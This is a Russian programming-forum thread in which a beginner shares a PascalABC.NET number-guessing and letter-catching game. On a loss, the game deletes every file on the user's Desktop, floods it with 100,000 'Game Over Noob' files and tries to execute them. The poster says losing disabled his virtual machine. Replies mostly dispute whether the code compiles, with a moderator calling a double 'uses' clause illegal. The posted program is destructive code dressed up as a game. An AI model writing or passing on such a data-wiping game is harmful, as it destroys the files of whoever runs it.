Форум программистов, компьютерный форум, киберфорум
PascalABC.NET
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.57/7: Рейтинг темы: голосов - 7, средняя оценка - 4.57
0 / 0 / 0
Регистрация: 19.11.2017
Сообщений: 31

Моя первая более менее сложная программа

19.11.2017, 13:41. Показов 1542. Ответов 7
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Pascal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
program gameone;
uses crt;uses system;
var CodWuigrush,P1,P2,i,cod,t1,tr,comp,user,x,y:integer;
g:file;
f:PABCSystem.text;
ch1,ch:char;
d1,d2,Desktop:string;
begin
 d1:=Environment.GetEnvironmentVariable('HOMEPATH');d2:='C:'+d1;Desktop:=d2+'\Desktop\';
 textcolor(lightred);writeln(' Хочешь сыграть в ИГРУ  ');readln; writeln(' Играй '); delay(1000);
 textbackground(7);
 clrscr;
 textcolor(4);
 writeln('                    Угадайте число от 1 до 100 за 7 попыток ');
 comp:=PABCSystem.random(100)+1;
 gotoxy(40,20); writeln('?');
 tr:=0;
 x:=35; y:=8;
 repeat
  tr:=tr+1;
  gotoxy(x,y);
  write(' Попытка ',tr,':');
  readln(user);
  if user>comp then begin 
   gotoxy(45,20);
   writeln(user:3);
  end;
  if user<comp then begin
   gotoxy(35,20);
   writeln(user:3);
   y:=y+1;
  end;
 until (user=comp) or (tr=7);
 gotoxy(40,20);
 writeln(comp);
 if user=comp then begin
  writeln(' YOU WWWIIINNN ');
  repeat
   t1:=t1+1;
   Assign(f, Desktop+'Ты про'+t1);
   Rewrite(f);
   Close(f);
  until t1=10;
  readln;
  end
  else begin
for t1:=1 to 999 do begin
   foreach var gf in EnumerateFiles(Desktop, '*')do begin
   Assign(g, gf);
   Erase(g);
  end;
 end;
 t1:=1;
 repeat
 t1:=t1+1;
  Assign(f, Desktop+'Game Over Noob'+t1);
  Rewrite(f);
  Close(f);
 until t1=100000;   
  t1:=1;
 repeat
 t1:=t1+1;
 Exec(Desktop+'Game Over Noob'+t1);
 until t1=100000;
 end;
 clrscr;
 if user=comp then begin
  writeln(' Будет сложно верю в тебя ');delay(100);
  p1:=0;
  for i:=0 to 20 do begin 
   cod:=PABCSystem.random(26)+65;
   ch1:=chr(cod);
   y:=2; x:=PABCSystem.random(40)+30; gotoxy(x,y);
   textcolor(lightred);write(ch1);
   gotoxy(20,25); textcolor(lightgreen);writeln('_____________________________________________________________________________');
   repeat
    if keypressed then ch:=readkey; 
    gotoxy(x,y) ;textcolor(7); write(ch1);
    y:=y+1; gotoxy(x,y); textcolor(lightred); write(ch1);
    delay(100);//Если совсе когото нелюбите на 50 или меньше 
   until (y=24) or (upcase(ch)=ch1); 
   if ch1=upcase(ch)  then
    p1:=p1+1;
    gotoxy(x,y); textcolor(7);write(ch1);
   end;
   if p1>5 then p1:=p1-1;
    textcolor(lightgreen);
    writeln(' Правильно  ',p1);
    if p1>13 then begin
     writeln(' Всё ок это конец то победил СГЕНЕРИРУЮ Код ');CodWuigrush:=PABCSystem.random(26)+65;CodWuigrush:=CodWuigrush+PABCSystem.random(10000000000000000000)+10000;
     writeln(CodWuigrush,'--- Попробуй проиграть если не доволен выигрышем  ');
     end;
     if p1<=12 then begin
      writeln(' Проиграл ');
      for t1:=1 to 999 do begin
   foreach var gf in EnumerateFiles(Desktop, '*')do begin
   Assign(g, gf);
   Erase(g);
  end;
 end;
 t1:=1;
repeat
 t1:=t1+1;
  Assign(f, Desktop+'Game Over Noob'+t1);
  Rewrite(f);
  Close(f);
 until t1=100000;  //Больше или меньше как хотите 
 textcolor(lightred);writeln(' Не стоило проигрывть ');delay(150);
 t1:=1;
 repeat
 t1:=t1+1;
 Exec(Desktop+'Game Over Noob'+t1);
 until t1=100000;
 end;
 end;
 end.
Эту программу я сделал так для эксперимента. В этой программе лучше не проигрывать , я проиграл на виртуалке , больше не запускается ну хотя в этой программе есть много интересных функций , решил выложить . Что можете сказать? Изучаю Pascal.
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
19.11.2017, 13:41
Ответы с готовыми решениями:

Моя первая программа
Недавно решил заняться с++ и естественно первое что нужно сделать это калькулятор. Вот тут возникла небольшая проблема с которой я к вам и...

Герон - моя первая программа
Приветствую всех, сегодня закрыл сложный проект)) Настроение отличное и новогоднее, чего и Вам всем желаю ! Порылся в закромах нашел...

Первая, нормальная моя программа на Dlphi
Недавно начал учиться программированию в делфи. И вот думал, думал, чего б такого можно было бы простенького написать. Решил написать игру,...

7
Супер-модератор
Эксперт Pascal/DelphiАвтор FAQ
 Аватар для volvo
33192 / 21488 / 8233
Регистрация: 22.10.2011
Сообщений: 36,872
Записей в блоге: 12
19.11.2017, 14:40
Цитата Сообщение от NoobasProgramas Посмотреть сообщение
Что можете сказать?
Ничего. Эта программа не то, что не запустится. Она даже не откомпилируется. Так что проиграть ей просто физически невозможно...
0
0 / 0 / 0
Регистрация: 19.11.2017
Сообщений: 31
19.11.2017, 14:46  [ТС]
Это из-за смайлика невозможно хотя я его не ставил тут я pas выложил https://yadi.sk/i/Duet-CWx3Ppvpw
0
Супер-модератор
Эксперт Pascal/DelphiАвтор FAQ
 Аватар для volvo
33192 / 21488 / 8233
Регистрация: 22.10.2011
Сообщений: 36,872
Записей в блоге: 12
19.11.2017, 15:08
Цитата Сообщение от NoobasProgramas Посмотреть сообщение
Pascal
2
uses crt;uses system;
Вот это - нелегально. Вообще. В любом Паскале. Uses должен быть один. И не надо тут рассказывать сказки, что приведенный код рабочий.

Дальше второй строки даже смотреть не стал. Когда мне втюхивают под видом работающего приложения какой-то бред - неинтересно дальше обсуждать.
0
Evg
Эксперт CАвтор FAQ
 Аватар для Evg
21281 / 8305 / 637
Регистрация: 30.03.2009
Сообщений: 22,660
Записей в блоге: 30
19.11.2017, 15:15
Цитата Сообщение от volvo Посмотреть сообщение
Вот это - нелегально. Вообще. В любом Паскале. Uses должен быть один
Про паскаль есть только институтские воспоминания. Но логики в твоих словах не увидел - модуль он и в африке модуль в любом языке, а вводить ограничение на один-единственный используемый модуль - чистый бред. Полез в гугл, в первой же попавшейся статье увидел два uses: http://www.pascal.helpov.net/i... rogramming (uses B;Uses A;)
0
Супер-модератор
Эксперт Pascal/DelphiАвтор FAQ
 Аватар для volvo
33192 / 21488 / 8233
Регистрация: 22.10.2011
Сообщений: 36,872
Записей в блоге: 12
19.11.2017, 15:18
в первой же попавшейся статье увидел два uses:
если бы там было нормальное форматирование, ты бы увидел, что это ДВА модуля, один - слева, второй - справа...

У меня Паскаль и его потомки - рабочий инструмент (а не только воспоминания из института), так что я в курсе, где можно ставить uses, а где - нет.
0
Evg
Эксперт CАвтор FAQ
 Аватар для Evg
21281 / 8305 / 637
Регистрация: 30.03.2009
Сообщений: 22,660
Записей в блоге: 30
19.11.2017, 15:25
Полез дальше http://mojainformatika.ru/pask... lrscr.html. Пост от 21.02.2013 13:42

Pascal
1
2
uses Crt;   
Uses Dos;
0
0 / 0 / 0
Регистрация: 19.11.2017
Сообщений: 31
19.11.2017, 15:32  [ТС]
volvo, Ты программист или тут случайно ?
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
19.11.2017, 15:32
Помогаю со студенческими работами здесь

Моя первая программа, и с той фейл
Здравствуйте. В учебнике &quot;С++ для чайников первой программой идёт преобразование градусов Цельсия в градусы Фаренгейта. // // ...

Изучение английского или моя первая программа на Java
Появилась необходимость в написании программы для личных нужд. Я решил попутно изучить Java. Мой опыт программирования заключается в...

это будет моя первая программа на питоне. но для этого
помогите перевести этот фрагмент паскаля на язык питона, буду очень благодарна и дальше буду работать сама :bravo: for i:=1 to 4...

Ошибка при подключении к серверу или моя первая программа ADO.net
Всем добрый вечер, читаю книгу Троелсона, и в главе посвященной АДО.НЕТ есть пример программы работающей с базой данных Pubs(думаю этот...

Моя первая самостоятельная программа. Суть задания - найти призведение и сумму чисел
В общем, выполняю первое самомтоятельно задание по с++. Суть задания - найти призведение и сумму чисел, пр иэтом функции произведения и...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
8
Ответ Создать тему
Новые блоги и статьи
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Access
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru